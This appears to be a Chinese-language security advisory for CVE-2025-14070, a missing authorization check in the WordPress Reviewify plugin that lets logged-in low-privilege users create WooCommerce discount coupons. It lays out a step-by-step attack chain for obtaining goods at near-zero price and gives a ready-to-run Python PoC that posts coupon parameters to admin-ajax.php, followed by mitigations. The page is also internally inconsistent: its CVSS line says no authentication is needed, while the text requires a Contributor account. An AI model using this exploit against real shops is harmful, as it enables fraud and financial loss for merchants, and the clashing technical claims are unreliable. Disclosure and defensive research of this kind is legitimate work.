CVE-2025-14070 WordPress Reviewify插件权限绕过漏洞

漏洞信息

漏洞编号

CVE-2025-14070

漏洞类型

权限绕过/缺少授权检查

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Reviewify plugin for WordPress (WordPress插件)

漏洞概述

CVE-2025-14070是WordPress Reviewify插件（也称为Review for Discount）中的一个高危安全漏洞。该插件版本最高至1.0.7存在严重的权限控制缺陷，具体表现为'send_test_email' AJAX动作缺少必要的权限检查（capability check）。由于WordPress默认 Contributor 角色具有上传文件和提交待审核文章的权限，攻击者可以利用此漏洞冒充合法用户创建任意WooCommerce折扣优惠券。攻击者能够设置任意折扣金额、有效期和产品限制，可能导致电商网站遭受财务损失，包括商品被低价倾销、库存异常消耗等。此漏洞无需高权限即可利用，任何具有Contributor级别及以上身份认证的用户均可发起攻击，对使用该插件的电子商务网站构成严重威胁。

技术细节

该漏洞位于Reviewify插件的admin/class-xswcrd-review-discounts-admin.php文件第425行附近。问题根源是'send_test_email' AJAX处理函数未调用current_user_can()或同等权限验证机制。在WordPress权限体系中，AJAX动作通常需要使用wp_ajax_{action}钩子并配合权限检查函数。然而此插件直接处理请求而未验证用户是否具备管理优惠券的权限。攻击者只需构造带有WordPress有效认证cookie的请求，调用admin-ajax.php接口并传递特定参数即可触发优惠券创建逻辑。漏洞利用涉及WooCommerce优惠券API的滥用，攻击者可指定coupon_amount、discount_type、expiry_date等参数生成恶意优惠券。由于缺少CSRF token验证，攻击还可能在用户不知情的情况下通过社工手段实施。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者确认目标网站使用WordPress并安装Reviewify插件，识别插件版本<=1.0.7

STEP 2

步骤2: 获取访问权限

攻击者获取WordPress Contributor级别账户（可通过注册、社工或利用其他漏洞获得）

STEP 3

步骤3: 构造恶意请求

攻击者构造针对admin-ajax.php的POST请求，action参数设为'send_test_email'，附加WooCommerce优惠券参数

STEP 4

步骤4: 绕过权限检查

由于插件缺少current_user_can()验证，Contributor级别的认证足以通过检查

STEP 5

步骤5: 创建恶意优惠券

WooCommerce优惠券API执行攻击者指定的参数，创建高额折扣券（如99%折扣）

STEP 6

步骤6: 利用漏洞获利

攻击者使用创建的优惠券以极低价格购买商品，造成商家财务损失

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
"""
CVE-2025-14070 PoC - WordPress Reviewify Plugin Unauthorized Coupon Creation
This PoC demonstrates the privilege escalation vulnerability in Reviewify plugin <= 1.0.7
"""

import requests
import sys
from urllib.parse import urlencode

def exploit_reviewify(target_url, username, auth_cookie):
    """
    Exploit the missing capability check in send_test_email AJAX action
    to create arbitrary WooCommerce discount coupons
    """
    
    # Target AJAX endpoint
    ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
    
    # Malicious coupon parameters
    coupon_data = {
        'action': 'send_test_email',
        'coupon_code': 'ATTACKER_COUPON',
        'coupon_amount': '99.99',
        'discount_type': 'percent',
        'expiry_date': '2026-12-31',
        'minimum_amount': '0',
        'usage_limit': '1000'
    }
    
    headers = {
        'Cookie': auth_cookie,
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Requested-With': 'XMLHttpRequest'
    }
    
    print(f"[*] Targeting: {target_url}")
    print(f"[*] Exploiting AJAX action: send_test_email")
    print(f"[*] Creating malicious coupon: ATTACKER_COUPON with 99.99% discount")
    
    try:
        response = requests.post(
            ajax_url,
            data=coupon_data,
            headers=headers,
            timeout=30
        )
        
        if response.status_code == 200:
            print(f"[+] Request sent successfully")
            print(f"[+] Response: {response.text[:500]}")
            return True
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python3 cve-2025-14070.py <target_url> <username> <auth_cookie>")
        print("Example: python3 cve-2025-14070.py http://example.com attacker 'wordpress_logged_in_xxx'")
        sys.exit(1)
    
    exploit_reviewify(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Reviewify (Review for Discount) <= 1.0.7

防御指南

临时缓解措施

临时缓解措施：在等待官方更新期间，可通过以下方式降低风险：1) 临时禁用Reviewify插件；2) 使用WordPress用户角色编辑器限制Contributor角色权限；3) 在WooCommerce设置中增加优惠券创建的管理员审批流程；4) 使用Web应用防火墙（WAF）规则拦截异常的admin-ajax.php请求；5) 监控WooCommerce优惠券表（wp_woocommerce_coupons）的异常创建记录。建议优先执行升级，如无法立即升级应考虑暂时停用受影响的插件。